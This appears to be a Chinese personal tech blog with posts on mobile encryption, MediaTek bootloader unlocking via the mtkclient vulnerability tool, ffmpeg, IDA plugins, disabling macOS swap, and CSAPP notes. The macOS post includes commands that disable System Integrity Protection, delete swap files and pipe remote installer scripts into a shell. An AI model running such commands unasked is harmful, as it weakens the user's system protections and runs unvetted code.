注意:升级到安卓6或安卓10的设备不是强制要求加密的,2016年发布的手机基本上出厂预装安卓6,2021年发布的电视和盒子基本上出厂预装安卓10,中国大陆除外 国内仍有有一大堆厂商还在用安卓9,基本上不会按照Android CDD(安卓兼容性定义文档,是谷歌的安卓开发规范文档,想要搭载GMS必须遵守CDD里的所有要求)的要求来开发, 由于没有谷歌的监管,安全性(安全补丁几乎不更新)和安卓底层(几乎不更新)都很差,目前国内在售电视设备貌似只有索尼会遵守Android CDD. 反观手机的情况,除了杂牌手机,基本上都会遵守Android CDD。 下图是Android CDD,点击照片可以直接去来源. Android CDD 遵守Android CDD且出厂时为强制加密的机型都会利用TEE(可信执行环境,利用硬件虚拟化技术隔离安全世界(TEE OS)与普通世界(安卓系统),可以简单地理解为运行在最底层的虚拟机)来保护相关密钥,确保只有本机的SoC才能解密(在SoC生产时利用自身的硬件真随机数发生器TRNG,探测电子布朗运动产生的热噪声来生成随机数,然后将随机数作为密钥烧写入SoC内部的电子熔丝,烧写完毕后不可更改,只有SoC内部的硬件加密引擎才能访问,外部无法获取,这个密钥被称为HUK,数据加密相关的密钥会被HUK的派生密钥所加密保护,不直接用HUK加密是为了防止HUK被逆推,也保证了相关密钥只有本机SoC才能解密。除了数据加密,HUK还会被用于保护指纹支付证书,DRM证书等,可以用于证明设备的真实性)。 TEE框架图 加密方式有两大类,第一类是FDE加密方式(预装安卓7到安卓9的低端机使用较多), 第二类是FBE加密方式(预装安卓7及以上的高端机使用较多,预装安卓10及以上的所有机型必须使用FBE加密方式)。其中FDE加密方式默认不将锁屏密码与相关密钥关联,这意味着手机在重启后无需提供锁屏密码即可解密所有数据,安全性完全依靠锁屏UI和验证启动,一旦出现可利用的安全漏洞就会导致隐私数据泄露,不安全。开启安全启动即可将锁屏密码与相关密钥关联,手机重启后必须提供锁屏密码才能解密,不提供密码无法正常开机,安全性高。不过大部分国产机隐藏了安全启动的开关,需要用adb locksettings指令设置锁屏密码才能打开安全启动,然而这个指令只支持安卓8及以上,这意味着一些老机型只能用不安全的加密方式。FBE加密方式必须将锁屏密码与相关密钥关联,但是位于DE部分的数据除外,DE部分的安全性完全依靠锁屏UI和验证启动(也就是说解锁BL后DE部分的数据不再保密,因为DE部分的数据虽然是加密的,但是允许任何刷入的rec,系统等解密访问),DE部分包含部分系统设置,WIFI密码,查找手机凭据,部分应用的数据(如闹钟,输入法,无障碍等)等,除此之外的大部分数据仍然需要提供锁屏密码才能解密。无论是哪种加密方式,谷歌都要求在更改密码后原密码失效,恢复出厂设置后数据永久销毁,限制锁屏密码的输入次数和速率,这是通过RPMB(集成到手机硬盘里,一个硬盘只能配置一次,配置完毕后与本机SoC永久绑定)或独立安全芯片(部分三星手机和pixel手机有搭载,专业术语称为StrongBox Keymaster)实现的,原理是SoC与其通信有双向验证机制,每次通信都生成随机数相互验证,写入操作还会增加写入次数(写入次数只能增加不可清零或减少),这些安全机制可确保攻击者无法伪造数据欺骗SoC(攻击者无法凭空生成数据欺骗SoC也无法将数据写入RPMB或安全芯片),无法重放之前的通信(比如说当前密码错误次数的消息被截取后,攻击者无法重播这个消息来实现无限制地暴力破解密码;在更改密码或恢复出厂设置后攻击者无法用事先从硬盘备份的数据欺骗SoC,来达到原密码失效和数据永久销毁的目的)。 RPMB Google Titan M芯片,StrongBox Keymaster背后的硬件 顺便一提,iPhone同样是有数据加密的,保护数据的方式类似安卓手机,TEE被苹果称之为Secure Enclave。在A7到A11的机器上用的是防回滚EEPROM(俗称逻辑码片),作用类似RPMB,只不过不和硬盘集成,是一个独立的组件;A12开始用的是苹果自研的安全存储芯片,类似于安卓的StrongBox Keymaster,都是独立的安全芯片 总结,大部分出厂时开启了强制加密的手机无需担心恢复出厂设置后数据被恢复,有安全硬件作为保障。FDE加密的机型不开启安全启动无法保障数据安全,开启了安全启动后处于正常开机状态时密码前10次每5次输错等待30秒,10次后每次输错等待30秒,重启后未输入正确密码前输错30次密码自动永久销毁数据。FBE加密的机型前10次每5次输错等待30秒,10次到150次每次输错等待30秒,150次后每次输错至少等待24小时(以上限制改时间无法绕过,因为只有设备开机通电时才会计时,一旦关机或重启会重新计时)。建议设置复杂密码并且不要和网络帐户的密码相同,也不要泄露给他人,这样可以最大程度保护隐私数据。 以上就是我关于手机数据安全及技术的部分理解,如有不对,欢迎指正.

2021/12/13
articleCard.readMore

浅谈联发科强制解bl锁-(理论逆向算法支持所有联发科设备设备均可获取Root,部分ov魔改手机等除外)

所需工具 mtkclient (Inofficial MTK reverse engineering and flash tool) 下载地址: https://github.com/bkerler/mtkclient/releases 工具主页: https://github.com/bkerler/mtkclient 关于详细介绍,去主页看README.md 注意强解后,每次开机都会报错,对系统基本没啥影响 根据谷歌规定,解BL锁都会清除数据,注意数据备份 这个工具利用的是联发科的漏洞,近期可能会以安全补丁更新进行修复 如果需要解锁,不建议更新系统. 个人认为整个操作还是比较简单的. 至于ov可能不行,因为对内核等加了手脚 本人恰好看到了一篇比较好的酷友文章,分享一下 https://www.coolapk.com/feed/31977436?shareKey=NjdlNWU3ZmJkNzlmNjFiNzA3NDY~&shareUid=1040157&shareFrom=com.coolapk.app_4.6 顺便分享一下MTK救黑砖的方法,我以前救我360N4S的时候就类似这样的操作,只不过当时并没有记录. 贴一下酷友的教程吧,我觉得还行. https://www.coolapk.com/feed/24609380?shareKey=MjYyNTUwMzY0YmMzNjE5NGU2OGM~&shareUid=3430069&shareFrom=com.coolapk.market_11.4.5 https://www.coolapk.com/feed/31539238?shareKey=M2U0OWNlMTI1MGZhNjFhZmI3ZWQ~&shareUid=3430069&shareFrom=com.coolapk.market_11.4.6 点击下载文件. 如果链接无法下载,这里有备份: https://wwi.lanzouo.com/i7zKGy2evvc

2021/12/13
articleCard.readMore

ffmpeg相关

cd /d D:\文件所在路径(选择源文件后按shift+右键复制为路径^^) 不重编码格式转换 ffmpeg -i input.mkv -c copy output.mp4(这个应该不行,用这个ffmpeg -i input.mkv -vcodec copy -acodec copy out.mp4) 如果要多音轨的MP4以我有限的知识只能是封装成多声道……囧 不重编码封装内挂字幕 ffmpeg -i input.mp4 -i abc.ass -c:s mov_text -c copy output.mp4 提取声道 ffmpeg -i audio.aac -map_channel 0.0.0 left.aac -map_channel 0.0.1 right.aac 一图流,视频长度=音轨,-s后面是自定义分辨率,-r是帧率 按图片分辨率 ffmpeg -loop 1 -i FBI.jpg -i audio.aac -c:a copy -c:v libx264 -pix_fmt yuv420p -r 25 -shortest out.mp4 自定义分辨率 ffmpeg -loop 1 -i FBI.jpg -i audio.aac -c:a copy -c:v libx264 -s 1280x720 -pix_fmt yuv420p -r 25 -shortest out720p.mp4 .flac导入iTunes https://qastack.cn/superuser/52321/whats-the-simplest-way-to-get-flac-music-files-into-itunes 通过homebrew安装命令行工具ffmpeg 。您可以使用它通过以下方式将单个文件转换为M4A(iTunes支持)中的Apple无损音频编解码器(ALAC): ffmpeg -i input.flac -c:a alac output.m4a 您可以使用以下命令处理目录中的每个文件: for f in ./; do ffmpeg -i “$f” -c:a alac “${f%.}.m4a”; done 您可以使用以下方法递归地处理每个文件(*.flac在当前目录和所有子目录中): shopt -s globstar for f in ./**/.flac; do ffmpeg -i “$f” -c:a alac “${f%.}.m4a”; done ## or: find . -name ‘.flac’ -exec sh -c ‘ffmpeg -i “$0” -c:a alac “${0%.}.m4a”‘ {} ; https://www.kejisen.com/article/152509488.html 批量flac to m4a for name in .flac; do ffmpeg -nostdin -i “$name” -c:a alac -c:v copy “${name%.}.m4a”; done

2021/12/12
articleCard.readMore

记一次IDA安装keypatch和findcrypt-yara插件

Keypatch 可以直接修改二进制代码的插件 链接: https://github.com/keystone-engine/keypatch 安装: 1、 下载Keypatch.py复制到插件目录 IDA 7.0\plugins\Keypatch.py 2、 下载安装keystone python模块,64位系统只需要安装这一个就行 https://github.com/keystone-engine/keystone/releases/download/0.9.1/keystone-0.9.1-python-win64.msi 在IDA里的Edit->Keypatch就可以看到 findcrypt-yara 找加密方式的插件 链接: https://github.com/polymorf/findcrypt-yara 简介:IDA pro plugin to find crypto constants (and more) 安装: 1、 安装yara-python,最简单的方式是使用:pip install yara-python yara-python地址:https://github.com/VirusTotal/yara-python 2、 下载findcrypt.py复制到插件目录 IDA 7.0\plugins\findcrypt3.rules IDA 7.0\plugins\findcrypt3.py 在IDA里的Edit->plugins->findcrypt就可以看到

2021/12/12
articleCard.readMore

如何解决GooglePlay无法下载的问题

必先确认 1.已成功配置代理网络. 并且能够正常访问. 2.设备的Google套件安装无错误. 解决方法 Google Play 内下载软件有时会出现一直转圈, 无法打开Google Play, 打开Google Play 不显示等问题. 1.退出Google Play 并清理套件缓存. 2.使用非香港节点(带’流媒体解锁’字样的除外). 3.打开Google Play正常使用. 大致原因 根据本人回忆 如果你用的是MIUI,请去迅雷下载里面关闭加速,play可恢复下载速度但是很慢 快下载完的时候,通过断连的方式,可以完成下载和安装 原因貌似是因为play尝试连接的是中国大陆的节点而不是香港的,原因不是很清楚,上面有经验之谈.

2021/12/11
articleCard.readMore

macOS关闭虚拟内存

前言 macOS关闭虚拟内存(交换内存 swap memory) 以减少SSD磨损,延长SSD寿命(本文含macOS硬盘写入量查询方法) 关闭后效果: 由于macOS特性,即使你按照本文操作了,依然可能使用swap,但比之前更少. Mac OS X / IOS 内存管理机制 OS X的内存管理与Unix是很类似的,内存管理的思想都是尽可能的使用内存,内存是计算机最宝贵的资源,读写速度快过硬盘 例如: 看上面效果图,你可能会觉得我的64G内存系统应用就用掉10G以上,这不是大大的浪费吗? 实际上,这个是很正常的,为什么呢? 在OS X中内存分为这几种状态: active inactive free wired wired 代表联动内存,这是系统核心占用的,无法移动到硬盘,必须保留在RAM里,联动内存大小取决于当前应用程序。 active 代表当前正被使用或刚被使用过的内存 inactive 表示这些内存中的数据是非活跃的,现在没有在使用,但是最近刚被使用过。比如刚刚关闭了一个Mail应用,它的内存并不会立刻被释放掉,而是变为Inactive,这样当我们再次打开它时,就可以快速打开,而不需要从比较慢的硬盘再打开。而在没有再次打开Mail前,启动其他应用是可以用这块inactive的内存的,它就像可用内存一样,可供其他应用程序使用,但是可以在其他应用程序占用它前,使得打开Mail更快。 free 没有使用的内存 例如我的64G内存 事实上,使用OS X/linux等类Unix操作系统时,是不需要担心内存占用太多的,因为内存就是要充分使用的。 当你有少量free内存,大量inactive内存时,表明此时系统运行在最佳状态,反而在刚开机时大量free时会比较慢。 只有当free和inactive都很少时才说明内存不够用了。但事实上,得益于SSD和M1 MAX的强大,即使CPU压缩内存到硬盘,再从硬盘取回数据,这之间的时间间隔也非常小,用户几乎很难察觉出来,所以MAC用户无需担心内存使用问题. 我尝试过将CPU和内存拉满,但即使这样,系统UI也没出现明显卡顿. 得益于OS X 系统采用了 Unified Buffer Cache,MAC的空闲内存会被用来加速文件访问.即上图中的压缩内存. 在日常使用中,可以做到随时开随用,流畅无卡顿. 了解更多,请参考🔗 为什么要关闭? 我们都知道,SSD写入有容量限制,一旦写入达到了设计的最大写入容量,这SSD也就报废了, 例如 512G 的 SSD 寿命一般 300T,写入量(一礼拜2T)就算刻意每天都很注意的用 2-3年你固态也写满报废了 然而还不能自己换,高度集成化,固态坏了就要全套板子一起换 256g固态的理论寿命是150TBW,一个月10T写入的话 理论来讲你只能用一年零三个月,实际情况永远是主控先挂 全盘GG 1.启动虚拟内存(默认):无论怎么样都会使用虚拟内存,除非你的内存特别大,目的是为了防止在突然打开一个超大的文件时,导致需要重新处理内存与虚拟内存。所以默认使用虚拟内存,尽量让出大部分物理内存。 2.关闭虚拟内存(需要手动):默认不使用虚拟内存,但经过我观察,似乎是超过预警阈值(内存GB-2GB的样子)就会开始使用虚拟内存,我猜测目的是为了系统的稳定性 SSD损耗科普链接🔗 如何关闭虚拟内存? 关闭系统完整性保护机制 关闭虚拟内存 首先关闭系统完整性保护需要进入recovery OS,Apple芯片进入模式与intel不同. 在电脑完全关机的情况下,一直按着电源键不放,直到提示你正在进入启动选项就可以放手了.之后点选项,选择用户,输入密码后 左上角有一排的菜单,找到终端打开它,输入: 1 2 csrutil disable # 关闭sip,开启则为enable # 如果不想完全关闭SIP,可选择关闭部分SIP的方法来实现(新版系统可能会失效,其自行验证是否生效): csrutil enable --without nvram 输入yes,之后密码,然后reboot重启. 重启电脑后打开终端,输入: sysctl -a vm.compressor_mode 来检查现在的内存模式,默认为 4 1 代表不压缩内存且不启用 swap 2 代表压缩内存但不启用 swap 3 代表不压缩内存但启动 swap 4 代表着压缩内存并启用 swap 运行命令 1 2 3 sudo nvram boot-args="vm_compressor=2 $(nvram boot-args 2>/dev/null | cut -f 2-)" # 这条命令作用是将vm_compressor=2插入到nvram boot-args参数中,如果已存在,那么请修改参数,而不是插入. sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.dynamic_pager.plist >/dev/null 2>&1 sudo rm -rf /private/var/vm/swapfile* 使用指令sysctl -a vm.swapusage可以查看虚拟内存使用情况. 重启, 检查swap是否已关闭. 1 sysctl -a vm.compressor_mode 如何查询Mac硬盘写入量 查看硬盘写入量是通过一个叫 smartctl 的应用实现的 安装 HomeBrew 通过 Mac os 上的软件包管理工具 HomeBrew 来进行安装 (若已安装则跳过即可) 官网给出的方法十分简单,只需要在终端中粘贴如下代码即可: 1 /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)” 若出现 1 raw.githubusercontent.com port 443: Connection refused 则说明终端没有过代理(需科学上网) 简单的方法就是换源,终端输入以下代码即可: 1 2 3 4 # 设置homebrew-core镜像 HOMEBREW_CORE_GIT_REMOTE=https://mirrors.ustc.edu.cn/homebrew-core.git /bin/bash -c "$(curl -fsSL https://cdn.jsdelivr.net/gh/ineo6/homebrew-install/install.sh)" 等待安装完成后,需要设置环境变量,在终端中接着输入以下代码即可: 注意:如果你确定使用的终端是zsh(一般默认是zsh),那么直接执行下面代码,否则请将两段的末尾的 zshrc 改为bashrc即可 1 2 echo export PATH=/opt/homebrew/bin:$PATH >> .zshrc source ~/.zshrc 重启终端,并在其中输入 brew ,如果没有报错,则说明安装成功了。 关于安装 HomeBrew 的其他方法,可以参考这篇文章: Mac必备神器Homebrew - 知乎专栏 安装 smartctl 成功安装 HomeBrew 之后,我们就可以安装 smartctl 了!在终端中输入如下代码,即可进行安装: 1 brew install smartmontools 在终端输入 smartctl ,如果没有报错则说明安装成功了。 查看硬盘使用量 在终端中输入如下代码,即可进行看查硬盘使用量。 1 smartctl -a disk0 结果如下,里面的Percentage Used 就是损耗值,Data Units Written 就是写入量。 如何卸载 只需在终端输入下面的代码即可卸载成功: 1 brew uninstall smartmontools 其他人硬盘读写入量参考链接

2021/12/10
articleCard.readMore

CSAPP学习笔记

前言: 本人非常遗憾地告诉您。由于某些原因,更新到第三章过程(函数调用)结束就停止更新了.目前没有任何计划重新更新. 懒+没时间. Chapter 1: A Tour of Computer System (计算机系统漫游) 这一章内容主要是通过介绍 hello world 这个程序的生命周期,对计算机系统的主要概念做了一个概述. 其中会涉及很多计算机领域的专有名词.对于初学者来讲,可能是第一次听到. 想要完全理解所有的知识点,需要一个较长时间的过程.因此,很长地方不理解也是很正常的. Program Structure and Execution(程序结构和执行) 首先,我们看一下这个 hello 程序,非常简单的一个打印输出的程序. 源代码编写完成之后,保存得到一个后缀名为 .c 的文件 — hello.c 接下来通过这条简单的命令gcc -o hello hell.c,即可完成对源代码的编译,生成可执行程序 hello. 这个过程虽然是通过一条命令完成的,然而编译系统的处理过程却是非常复杂的. 大致分为一下四个阶段,分别是预处理、编译、汇编以及链接 首先看一下,预处理,预处理器会根据以#开头的代码,来修改原始程序. 例如 hello 程序中引入来头文件—stdio.h 预处理器会读取该头文件中的内容.将其中的内容直接插入到源程序中,结果就得到来另外一个C程序. 这个经过预处理器处理后得到的文件通常以 .i 结尾. 这个 hello.i 仍是一个文本文件. 第二阶段是编译阶段.编译器将 hello.i 文件翻译成 hello.s 文件.这一过程我们称为编译.其中编译这一阶段包括词法分析、语法分析、语义分析、中间代码生成以及优化等等一系列的中间操作.有关编译的细节知识不会在本文中进行详细地讲解.感兴趣的同学可以了解一下《编译原理》 对于编译阶段,输入文件 hello.i 经过编译得到输出文件—hello.s 第三阶段是汇编,汇编器根据指令集将汇编程序 hello.s 翻译成机器指令. 并把这一系列的机器指令按照固定的规则进行打包,得到可重定位目标文件—hello.o. 至于可重定位是什么意思,稍后在链接阶段会讲,此时 hello.o 虽然是一个二进制文件,但是还不能执行.还要经历最后一个阶段—链接. 在 hello 这个程序中,我们调用了 printf 函数.这个函数是标准C库中的一个函数. 这个 printf 函数是在名为 printf.o 的文件中.这个文件是一个提前编译好的目标文件.链接器(ld)负责把 hello.o 和 printf.o 进行合并. 当然这个合并是需要遵循一定规则的,正是因为链接器要对 hello.o 和 printf.o 进行调整. 所以 hello.o 才会被称之为可重定位目标文件.最终经过链接阶段得到可执行目标文件—hello.此时得到的hello就可以被加载到内存中执行了. 为什么要理解编译系统是如何工作的呢? Running Programs on a System(在系统上运行程序) 我们来看一下计算机的硬件组成.(Hardware Organization of a System) CPU中的PC(Program Count)就是一个4字节(32-bit)或8字节(64-bit)的存储空间(实质上是一个大小为一个字的存储区域),里面存放某一条指令的地址 寄存器文件,它就是CPU内部的一个存储设备,是由一些单字长的寄存器构成,每个寄存器都有自己唯一的一个名字,通俗来说,寄存器可以理解为一个临时存放数据的空间 (在第四章中会详细讲述处理器是如何实现的) 主存,也称为内存,处理器在执行程序时,内存主要存放程序指令以及数据,从物理上讲,内存是由随机动态存储器芯片组成,从逻辑上讲,内存可以看成一个从零开始的大数组,每个字节都有相应的地址 (关于内存更多的详细内容,在第六章中有详细的讲解) 内存和处理器之间通过总线来进行数据传递,实际上,总线贯穿了整个计算机系统,它负责将信息从一个部件传递到另外一个部件, 通常总线被设计成传送固定长度的字节块,也就是字(word),这个字取决于操作系统. 控制器与适配器的主要区别是在于它们的封装方式,他们的功能都是在I/O设备与I/O总线之间传递数据 (第六章和第十章进行详细的讲解) 这个结构的主要思想就是上一层存储设备是下一层存储设备的高速缓存(关于缓存的更多内容将在第六章有更加详细的讲解) Interaction and Communication between Programs(进程间的交互和通信) 操控硬件的是操作系统,我们可以把操作系统看作是应用程序和硬件之间的中间层 所有的应用程序对硬件的操作必须通过操作系统来完成. 这样设计的目的主要有2个: 一是防止硬件被失控的应用程序滥用 二是操作系统提供统一的机制来控制这些复杂的底层硬件. 文件是对I/O设备的抽象,虚拟内存是对内存和硬盘的I/O的抽象,进程是对处理器、内存以及I/O设备的抽象 (第八章将详细讲述关于进程的知识,在第十二章中,将讲述如何编写多线程程序) 如下图所示,为Linux系统中进程的虚拟地址空间,从下往上看,地址是增大的.最下面的是0地址,自下而上地介绍一下虚拟地址空间的分布 为什么程序内存栈是从高地址往低地址分配内存的,而其它的内存地址是从低到高分配内存? 因为栈设计为后进先出的特性(栈需要存储函数中的局部变量和参数,函数又是最后调用的最先销毁,栈的后进先出正好满足这一点)。 其次,栈是连续分配内存的,如果给一个数组或对象分配内存,栈会选择还没分配的最小的内存地址给数组,在这个内存块中,数组中的元素从低地址到高地址依次分配(不要和栈的从高到低弄混了)。所以数组中第一个元素的其实地址对应于已分配栈的最低地址。 第一个区域是用来存放程序的代码和数据的,这个区域的内容是从可执行目标文件中加载而来的,对于所有的进程来说,代码都是从固定的地址开始,(关于这个区域的详细内容会在第七章介绍) 顺着地址增大的方向往上看就是堆(heap),堆也可以在运行时动态的扩展和收缩(第九章研究虚拟内存的时候,会详细介绍堆) 接下来,就是共享库的存放区域,这个区域主要存放像C语言的标准库和数学库这种共享库的代码和数据(在第七章介绍链接时,会详细介绍共享库事如何工作的) 我们,继续往上看,这个区域被称为用户栈(user stack),函数调用的本质就是压栈,每一次当出现进行函数调用的时候,栈就会增长,函数执行完毕返回时,栈就会收缩,栈的增长方向是从高地址到低地址到的,(在第三章,会详细介绍编译器是如何使用栈来实现函数的调用的) 最后,我们看一下虚拟空间的最顶部区域,这个区域是为内核保留的区域,应用程序代码不能读写这个区域的数据,也不能直接调用内核中定义的函数,也就是说,这个区域对应用程序是不可见的(关于更多虚拟内存的知识,将在第九章进行详细的讲述) Linux系统的哲学思想是:一切皆为文件. 如何理解呢?一切I/O设备,包含键盘,磁盘,显示器,甚至网络,这些可以看成文件,系统中所有的输入输出都可以通过读写文件来完成,虽然文件的概念非常简单,但却非常强大 (将在第十章详细讲述Unix IO) (在第十一章中,将介绍如何创建一个简单的web服务器) 为了定量地看系统加速比,我们首先介绍一下阿姆达尔定律,这个定律的主要思想是,当我们对系统的某一部分进行加速时,被加速部分的主要性是影响整体系统性能的关键因素 (第十二章会深入探讨并发的相关知识) 现代处理器可以同时执行多条指令的属性被称为指令级并行,每条指令从开始到结束大概需要20个时钟周期或者更多,但是处理器采用了非常多的技巧可以同时处理多达100条指令,因此,近几年的处理器可以保持每个周期2~4条指令的执行速率 (在第四章,将介绍流水线技术) 现代处理器拥有特殊的硬件部件,允许一条指令产生多个并行操作,这种方式称为单指令多数据(Single Instruction Multiple Data) SIMD的指令多是为了提高处理水平、以及声音这类数据的执行速度 Chapter 2: Representing and Manipulating Information (信息的表示和处理) Information Storage(信息存储) 信息在计算机系统内是如何存储的? 通常情况下,程序将内存视为一个非常大的数组,数组的元素是由一个个多字节组成, 每个字节都由一个唯一的数字来表示,我们称为地址(address),这些所有地址的集合就称为虚拟地址空间(virtual address space) 字节,信息存储的基本单元 一个字节是由8个位(bit)组成,在二进制表示法中,每个位的值可能有两种状态,0或1,当这8个位全为0时,表示这个字节的最小值,当全为1时,表示最大值,如果用十进制来表示,那么一个字节的取值范围就在0~255(包含0和255)之间,我们把这种一位一位表示数据的方式称为位模式 使用二进制表示法比较冗长,而十进制表示法与位模式之间的切换又比较麻烦,因此,我们引入了十六进制数来表示位模式 在C语言中,十六进制数是以0x开头,这个X可以是小写,也可以是大写,字母部分既可以全部是大写,也可以全部是小写,甚至混合都没问题 二进制到十六进制转换: 十进制与十六进制之间的转换需要采用除法或者乘法来处理: 用辗转相除法将一个十进制数转成十六进制数 字长决定了虚拟地址空间的最大值的可以到多少 对于我们需要存储的数据,我们需要搞清楚该数据的地址是什么,以及数据在内存中如何排布的, 通常二种规则 大端法,最高有效字节存储在最前面,也就是低地址处 小端法,最高有效字节存储在最后面,也就是高地址处 大多数Intel兼容机采用小端模式,IBM和Sun公司的机器大多数采用大端法,对于很多新处理器,支持双端法,可以配置成大端或者小端运行,例如基于ARM架构的处理器,支持双端法,但是Android系统和iOS系统却只能运行在小端模式 布尔代数定义的几种运算: C语言中的一个特性就是支持 按位 进行布尔运算 位运算的一个常见用法就是实现掩码运算,通俗点讲,通过位运算可以得到特定的位序列 除了位级运算之外,C语言还提供了一组逻辑运算,逻辑运算的运算符容易与位级运算混淆 逻辑运算认为所有非零的参数都表示true,只有参数0表示false 逻辑运算的几个例子: 事实上,逻辑运算的结果只有两种,true或者false,而位运算只有在特殊的数值条件下才会得到0或1 除此之外,C语言还提供了一组移位运算 左移情况比较简单,对于右移,分为逻辑右移和算术右移 逻辑右移和左移只是在方向上存在差异 算术右移:当算术右移到操作对象的最高位等于0时,算术右移和逻辑右移是一样的,没有任何差别 但当操作数的最高位为1时,算术右移之后,右端需要补1,而不是补0 Interger Representations(整数表示) 关于long类型的大小需要注意一下,这个类型的取值范围是与机器字长相关的.当变量声明带有unsigned关键字时,限制了表示的数字只能为非负数(无符号数). 首先,我们看一下计算机是如何对无符号数进行编码的. 假设有个整数的数据类型有w位,用向量x来表示. 如果把向量x看成一个二进制表示的数.向量x中的每个元素表示一个二进制位,其中每个位的取值为0或1. 我们用一个函数B2U来表示一个长度为w的0,1串是如何映射到无符号数的. 如果这个映射过程不好理解,可以类比一下十进制的表示方式.其中二者之间的一个差别就是$x_i$的取值是0或1,而$y_i$是取0~9之间的整数,另外一个差别就是$x_i$对应的权重是$2^i$,而$y_i$对应的是$10^i$. 为了更加清楚地解释无符号数的表示方法. CSAPP的原书中还介绍了一种图形化的表示方法来帮助读者理解无符号数的编码规则. 对于向量第$i$位,我们用一个长度为$2^i$的蓝色条状图来表示.每个位向量所对应的值就等于所有值为1的位,所对应条状图的长度之和. 例如编码0101,就是长度为4($2^2$)的条状图 加上长度为1($2^0$)的条状图. 因此4位编码所能表示的无符号数的取值范围是$0$~$15$. 我们可以发现这种编码方式,只能表示非负数,具有相当大的局限性,那么负数是如何编码的呢? 关于符号位,需要理解负权重的概念,而不能简单的当成一个负号 在了解了无符号数和有符号数的编码规则之后,我们分别看一下不同字长可以表示整数的范围 无论是字长为8,还是字长为64,最小值的表示都是符号位为1,其他位等于0 对于-1,这个需要特别注意一下,无论字长是8位,还是64位,有符号数-1的补码是一个全为1的串 -1的补码与无符号数的最大值有着相同的二进制位表示 虽然C语言的标准中并没有要求用补码来表示有符号数 但是几乎所有的机器都是用补码来表示有符号数 为了更好地理解补码的表示,我们再看一个例子: 其中1234被定义为short类型,将它展开为二进制表示,12345位模式表示如上图所示 根据补码的编码定义,相应矩形框内的权重值相加可以得到12345 我们再来看一下-12345的位模式表示,这里需要注意的是最高符号位等于1 与-12345相同的位模式的无符号数又是多少呢? 对于无符号数,最高位的1表示的不是负权重,根据无符号数的编码定义可以得到53191 对于相同的位模式,映射函数不同,得到的数值也不同 C语言允许数据类型之间做强制类型转换 例如图中的代码示例,变量a是short类型,通过强制类型转换成无符号数,那么变量b的数值是多少呢? 我们来看一下运行结果 -12345经过强制类型转换后得到的无符号数是53191 从十进制的表示来看,很难看出二者的关系 将十进制表示转换成二进制表示,我们可以发现,二者的位模式是一样的 对于大多数C语言的实现,有符号数和无符号数之间的转换的规则是: 位模式不变,但是解释这些位的方式改变了 接下来我们看一下,对于相同的位模式,不同函数映射所导致的数值差异 无符号数和有符号数的函数映射关系如图所示 我们将B2U与B2T做差,得到的结果就是二者的数值的差异 然后我们对这个式子进行移项处理 B2T从等式的左边移到等式的右边,对于相同的位模式,无符号数与有符号数的数值关系如图所示 我们用T2U来表示有符号数到无符号数到函数映射 当最高位Xw-1等于1时,此时有符号数x表示一个负数,经过转换后得到的无符号数等于该有符号数加上2^w^ 当最高位Xw-1等于0时,此时有符号数x表示一个非负数,得到的无符号数与有符号数是相等的 以上为有符号数转无符号数,接下来介绍无符号数转有符号数 同样,还是对这个等式移项 我们用U2T来表示无符号数到有符号数的函数映射 当最高位等于0时,无符号数可以表示的数值小于有符号数的最大值,此时转换后的数值不变 当最高位等于1时,无符号数可以表示的数值大于有符号数的最大值,此时转换后得到的有符号数等于该无符号数减去2^w^ 图中T2U和U2T这两个函数映射关系体现了有符号数与无符号数转换的数值关系 为什么要解释二者的转换关系呢? 在C语言中,在执行一个运算时,如果一个运算数是有符号数,另外一个运算数是无符号数 那么C语言会隐式地将有符号数强制转换为无符号数来执行运算 例如图中的例子,我们希望得到-1小于0的输出 但是在执行时,却得到了-1比0大的结果 由于第二个操作数0U是无符号数,第一个操作数就隐式地转换成无符号数 这个表达式实际上比较的是4294967295(2^32^-1)<0 C语言中还有一个常见的运算是在不同字长的整数之间进行转换 将一个较大的数据类型转换成一个较小的数据类型 由于目标类型太小,想要保持数值不变是不可能的 然而将一个较小的数据类型转换成较大的数据类型时,保持数值不变是可以的 我们先来看一下把无符号数转成一个更大的数据类型 例如,我们将一个unsigned char类型变量,转换成unsigned short类型 变量a占8个bit位,而变量b占16个bit位 对于无符号数的转换比较简单,只需要在扩展的数位进行补零即可 我们将这种运算称为零扩展,具体表示如图所示 根据无符号数的编码定义,零扩展之后的数值不变 与无符号数相比,将有符号数转换成一个更大的数据类型 需要执行符号位扩展,这个符号为就是最高位,对于符号为扩展该如何理解呢? 当符号数表示表示非负数时,最高位是0,此时扩展的数位进行补零即可 当符号数表示表示负数时,最高位是1,此时扩展的数位进行补1,具体表示如图所示 看到这里,相信有些读者会对补1的情况有些疑问 我们来看一下原书中给出的数学证明 对于一个w位的有符号数,我们用B2Tw来表示 对这个有符号数进行k位的符号扩展,具体过程如图所示 经过扩展之后的有符号数用B2Tw+k来表示 为了方便描述,我们将两个函数映射分别记为(1)和(2) 假如可以证明表达式(1)和(2)相等,那么经过符号位扩展确实可以保持数值不变 接下来我们的任务是证明表达式(1)和(2)相等 假如能过证明符号位扩展一位,可以保持数值不变,那么扩展任意位,就都能保持这种属性 因此,我们只要能过证明B2Tw+1等于B2Tw,就可以确定B2Tw+k等于B2Tw 根据补码的编码规则,B2Tw和B2Tw+1的展开式如图所示 然后将二者做差,经过简单的合并之后,得到图中的表达式,由于Xw是由Xw-1扩展得到的,因此做差的结果等于0 综上所述,我们通过数学的方法证明了当有符号数从一个较小的数据类型转换成较大数据类型时 进行符号位扩展,可以保持数值不变. 看完较小数据类型到较大数据类型的转换 我们再看看较大数据类型换成较小数据类型的情况 将int类型强制转换成short类型时,int类型高16数据被丢弃,留下底16位数据 因此截断一个数字,可能会改变它原来的值 将一个w位的无符号数,截断成k位时,丢弃最高的w-k位,截断操作可以对应取模运算 对于二进制取模运算,通俗的说法就是除以2^k^之后得到的余数 我们可以通过一个十进制的例子类比理解一下 例如十进制数123456,截取底三位数456,可以通过10^3^进行取模运算得到 我们再来看一下截断有符号数 虽然原书中给出了以下的表达式,这个式子乍一看有点吓唬人 其实并不难理解,我们可以分成两部分来看 第一步,我们用无符号数多函数映射来解释底层的二进制位,这样一来我们可以使用与无符号数相同的截断方式,得到最低K位 第二步,我们将第一步得到的无符号数转换成有符号数 经过这两步,我们就得到了有符号数截断之后的值 Integer Arithmetic(整数运算) 首先,我们看一个无符号数加法的例子 图中的两个无符号数相加,我们期望得到的结果是256,然而实际的运行结果却是零 产生这个结果的原因是因为a加b的和超过了unsigned char所能表示的最大值255 我们将这种情况称为溢出 接下来,我们看一下无符号数的加法原理 